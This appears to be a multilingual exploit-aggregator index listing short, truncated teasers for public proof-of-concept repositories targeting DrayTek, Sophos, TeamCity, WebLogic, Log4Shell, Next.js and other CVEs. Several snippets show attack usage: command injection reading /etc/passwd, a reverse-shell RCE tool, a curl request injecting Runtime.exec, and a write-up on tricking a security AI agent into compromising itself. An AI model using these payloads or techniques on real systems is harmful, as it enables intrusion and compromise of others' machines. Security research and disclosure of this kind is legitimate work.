CVE-2020-8515

CVE-2020-8515 PoC di Draytek per CVE-2020-8515 che avevo in giro. Divertentemente, il comando iniettato viene eseguito due volte, vedi qui: root@kitploit: $ ./draytek.py draytek.local executing command: cat /etc/passwd + vulnerable! executing command: uname -a Linux Vigor3900 2.6.33.5 1 Wed Mar 2...

sophucked

sophucked CVE-2020-25223 RCE PoC, ottiene una reverse shell. Pre-autenticazione. Implementato rapidamente poiché era necessario unificare alcuni magneti di minaccia. Esempio di utilizzo: root@kitploit: python sophucked.py https://x.x.x.x:4443 x.x.x.x 80 + avvio handler sulla porta 80 + Invio...

CVE-2023-42793

CVE-2023-42793 - Creazione username amministratore Esempio di esecuzione di comandi: root@kitploit: python3 exploit.py -u http://localhost User add token - eyJ0eXAiOiAiVENWMiJ9.YkZ0V2tzR3NvWXhZelRfZTN0cFF1SkZjVWVz.N2M0Njk2ZTgtNWZhYi00MTU5LWJmZjQtYWU1MDFlYzZiMGY1 Successful execution, preparing fo...

CVE-2024-32002-git-rce

لا يحتوي هذا المستودع على ملف README...

weblogic_wls_wsat_rce

weblogicwlswsatrce Weblogic wls-wsat vulnerabilità di deserializzazione CVE-2017-10271 script di sfruttamento, modificato dahttps://github.com/s3xy/CVE-2017-10271. Esecuzione di comandi con output Caricamento diretto di shell Testato su weblogic 10.3.6.0 in ambiente Linux OK Utilizzo e parametri...

CVE-2025-67511

CVE-2025-67511: Ingannare un agente AI di sicurezza per farlo autocompromettere Articolo del blog Hacktive Security per CVE-2025-67511 Link all'articolo del blog : https://www.hacktivesecurity.com/blog/2025/12/10/cve-2025-67511-tricking-a-security-ai-agent-into-pwning-itself/ TL;DR Una...

CVE-2021-3129

CVE-2021-3129 Laravel debug rce Utilizzo Esegui docker-compose up -d per avviare l'ambiente Accedi alla porta 8888 e fai clic su generate key nella homepage per riprodurre la vulnerabilità Alcune note sull'ambiente Docker: Copia .env.example in .env per abilitare l'ambiente di debug. Disabilita...

CVE-2025-25257

CVE-2025-25257 - Проверка и эксплуатация уязвимости FortiWeb Инструмент на Python для проверки и эксплуатации уязвимости CVE-2025-25257 в устройствах FortiWeb. Эта уязвимость позволяет выполнять SQL-инъекции и удалённое выполнение кода через специально сформированный заголовок Authorization. 📋...

CVE-2019-16278-Nostromo-1.9.6-RCE

CVE-2019-16278-Nostromo-1.9.6-RCE Этот репозиторий содержит эксплойт для CVE-2019-16278 в Nostromo Web Server 1.9.6, позволяющий удалённое выполнение кода через уязвимость обхода каталогов. Скрипт использует pwntools для установки обратного шелла. Только для образовательных целей и авторизованног...

CVE-2024-21413

CVE-2024-21413 - PoC Script Expect Vulnerabilità di perdita di credenziali ed esecuzione di codice remoto di Microsoft Outlook quando combinata con CVE-2023-21716 tramite il pannello di anteprima CVSS:3.1 9.8 / 8.5 Outlook dovrebbe avvisare del rischio nell'aprire un link esterno = ma non è così!...

CVE-2024-53677

CVE-2024-53677 إثبات المفهوم لاستغلال CVE-2024-53677 - ثغرة اجتياز المسار في رفع الملفات في Apache Struts مما يؤدي إلى تنفيذ تعليمات برمجية عن بعد...

CVE-2024-47176

CVE-2024-47176 — Laboratorio Exploit CUPS RCE CyberSecurity & Virtualizzazione 2025-2026 Ambiente di laboratorio isolato per dimostrare CVE-2024-47176 Esecuzione di codice remoto CUPS tramite cups-browsed. Setup VDI Richiesti Ubuntu 22.04 NON 24.04! — https://www.osboxes.org/ubuntu/ → VirtualBox...

Bot-exploit-CVE-2025-55182

React2Shell Scanner – CVE-2025-55182 🔐 Strumento educativo per il rilevamento della vulnerabilità CVE-2025-55182 React2Shell in applicazioni che utilizzano React Server Components / Next.js. 📌 Informazioni sul CVE-2025-55182 Il CVE-2025-55182 , noto come React2Shell , è una vulnerabilità critica...

Blackash-CVE-2025-12762

🔐 CVE-2025-12762 — Vulnerabilità RCE Critica in pgAdmin 4 🚨 Qual è il Problema? Una vulnerabilità di Esecuzione Remota di Codice RCE esiste in pgAdmin 4 versioni ≤ 9.9. Gli aggressori possono eseguire comandi arbitrari sull'host quando pgAdmin è in esecuzione in modalità server e processa un dump...

CVE-2025-55182_CVE-2025-66478

CVE-2025-55182 - Esecuzione Remota di Codice nei Server Components di Next.js/React Panoramica Questo repository contiene un exploit Proof-of-Concept PoC per CVE-2025-55182, una vulnerabilità critica di Esecuzione Remota di Codice RCE che interessa i Server Components di React nelle versioni 19.x...

Spring-Data-Mongodb-Example

Spring-Data-Mongodb-Example Ambiente CVE-2022-22980 Costruisci ambiente Docker root@kitploit: docker build -t mongo . docker run -dit -p 6666:6666 mongo Poc root@kitploit: ➜ Spring-Data-Mongodb-Example git:main curl 0:6666/v1/user/get -d 'id=Tjava.lang.Runtime.getRuntime.exec"touch /tmp/aaaa"'...

CVE-2022-25226

ThinVNC 1.0b1 - Bypass dell'autenticazione per esecuzione remota di codice CVE-2022-25226 Autore: krill-x7 Riferimento: https://fluidattacks.com/advisories/sinatra Panoramica ThinVNC 1.0b1 contiene una vulnerabilità di bypass dell'autenticazione CVE-2022-25226 che consente a malintenzionati remot...

CVE-2015-8299

knAx20150101 Titolo: Vulnerabilità di esecuzione remota di codice nel software di gestione KNX ETS Categoria/Riassunto: Vulnerabilità di buffer overflow Prodotto: ETS Engineering Tool Software Versioni affette: ETS 4.1.5 Build 3246 nessuna altra versione testata Versione corretta in: sconosciuto...

CVE-2021-40444

〖EXP〗Ladon CVE-2021-40444 Office भेद्यता पुनरुत्पादन भेद्यता अवलोकन बीजिंग समय 8 सितंबर को, ल्वमेंग टेक्नोलॉजी CERT ने देखा कि माइक्रोसॉफ्ट ने एक सुरक्षा सूचना जारी करते हुए Microsoft MSHTML रिमोट कोड निष्पादन भेद्यता का खुलासा किया। हमलावर एक दुर्भावनापूर्ण ActiveX नियंत्रण बना सकते हैं जिसका...

L4sh

Log4Shell RCE Exploit L'exploit è completamente indipendente e non richiede alcun binario di terze parti. L'exploit inietta il payload in tutte le possibili intestazioni HTTP registrate nei log, come X-Forwarding , Server-IP , User-Agent Utilizzo root@kitploit: python main.py -i lhost -u...